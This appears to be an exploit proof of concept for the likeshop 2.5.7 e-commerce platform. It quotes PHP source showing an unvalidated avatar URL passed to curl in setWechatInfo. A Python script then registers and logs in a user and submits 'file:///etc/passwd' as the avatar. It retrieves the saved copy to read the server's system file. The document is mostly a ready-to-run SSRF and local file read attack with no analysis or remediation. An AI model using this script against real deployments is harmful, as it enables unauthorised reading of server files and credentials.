docker run -d --name likeshop -p 20208:80 likeshop/php-b2c:2.5.7

//User.php
public function setWechatInfo()
    {
        $data = $this->request->post();
        $check = $this->validate($data, 'app\api\validate\SetWechatUser');
        if (true !== $check) {
            $this->_error($check);
        }
        $res = UserLogic::updateWechatInfo($this->user_id, $data);
        if (true === $res) {
            $this->_success('操作成功');
        }
        $this->_error('操作失败');
    }

//UserLogic.php
public static function updateWechatInfo($user_id, $post)
    {
        Db::startTrans();
        try{
            $time = time();
            $avatar_url = $post['avatar'];
            $nickanme  = $post['nickname'];
            $sex = $post['sex'];

            $config = [
                'default' => ConfigServer::get('storage', 'default', 'local'),
                'engine'  => ConfigServer::get('storage_engine')
            ];

            $avatar = ''; //头像路径
            if ($config['default'] == 'local') {
                $file_name = md5($user_id . $time. rand(10000, 99999)) . '.jpeg';
                $avatar = download_file($avatar_url, 'uploads/user/avatar/', $file_name);
            } else {
                $avatar = 'uploads/user/avatar/' . md5($user_id . $time. rand(10000, 99999)) . '.jpeg';
                $StorageDriver = new StorageDriver($config);
                if (!$StorageDriver->fetch($avatar_url, $avatar)) {
                    throw new Exception( '头像保存失败:'. $StorageDriver->getError());
                }
            }

            $user = new User;
            $user->save([
                'nickname'  => $nickanme,
                'avatar' => $avatar,
                'sex' => $sex
            ],['id' => $user_id]);

            Db::commit();
            return true;

        } catch(\Exception $e) {
            Db::rollback();
            return $e->getMessage();
        }
    }

//common.php
function download_file($url, $save_dir, $file_name)
{
    if (!file_exists($save_dir)) {
        mkdir($save_dir, 0775, true);
    }
    $file_src = $save_dir . $file_name;
    file_exists($file_src) && unlink($file_src);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    $file = curl_exec($ch);
    curl_close($ch);
    $resource = fopen($file_src, 'a');
    fwrite($resource, $file);
    fclose($resource);
    if (filesize($file_src) == 0) {
        unlink($file_src);
        return '';
    }
    return $file_src;
}

import requests
import json

BASE_URL = "http://127.0.0.1:20208"
def register(phone, password):
    url = BASE_URL + '/api/account/register' 
    user = {
        "mobile": phone,
        "password": password,
        "client":6
    }
    r = requests.post(url, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print("Register Thanh Cong")
        return True
    return False


def login(phone, password):
    url =  BASE_URL + '/api/account/login' 

    user = {
        "account": phone,
        "password": password,
        "client":6
    }
    r = requests.post(url, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print(response)
        token = response['data']['token']
        return token
    return None

def updateWechat(token, avatar):
    url = BASE_URL + '/api/user/setWechatInfo'
    
    user = {
        "nickname":"nickname",
        "avatar": avatar,
        "sex":1
    }
    r = requests.post(url, headers={"token": token}, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print('Update profile')
        return True
    return False

def userInfo(token):
    url = BASE_URL + '/api/user/info'

    r = requests.get(url, headers={"token": token}, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        avatar_url = response['data']['avatar']
        print(avatar_url)
        return avatar_url
    return None

def checkFile(avatar_url):
    if avatar_url != "": 
        r = requests.get(avatar_url, verify=False)
        response = r.text
        if r.status_code == 200:
            print(response)
        return None



phone = "175****1337"
password = "123456a#@"
avatar = "file:///etc/passwd"

status = register(phone, password)
status = True
if status :
    token = login(phone, password)
    print(token)
    status_update = updateWechat(token, avatar)
    if status_update:
        avatar_url = userInfo(token)
        if avatar_url:
            print(avatar_url)
            checkFile(avatar_url)
        else:
            print('Khong upload Avatar')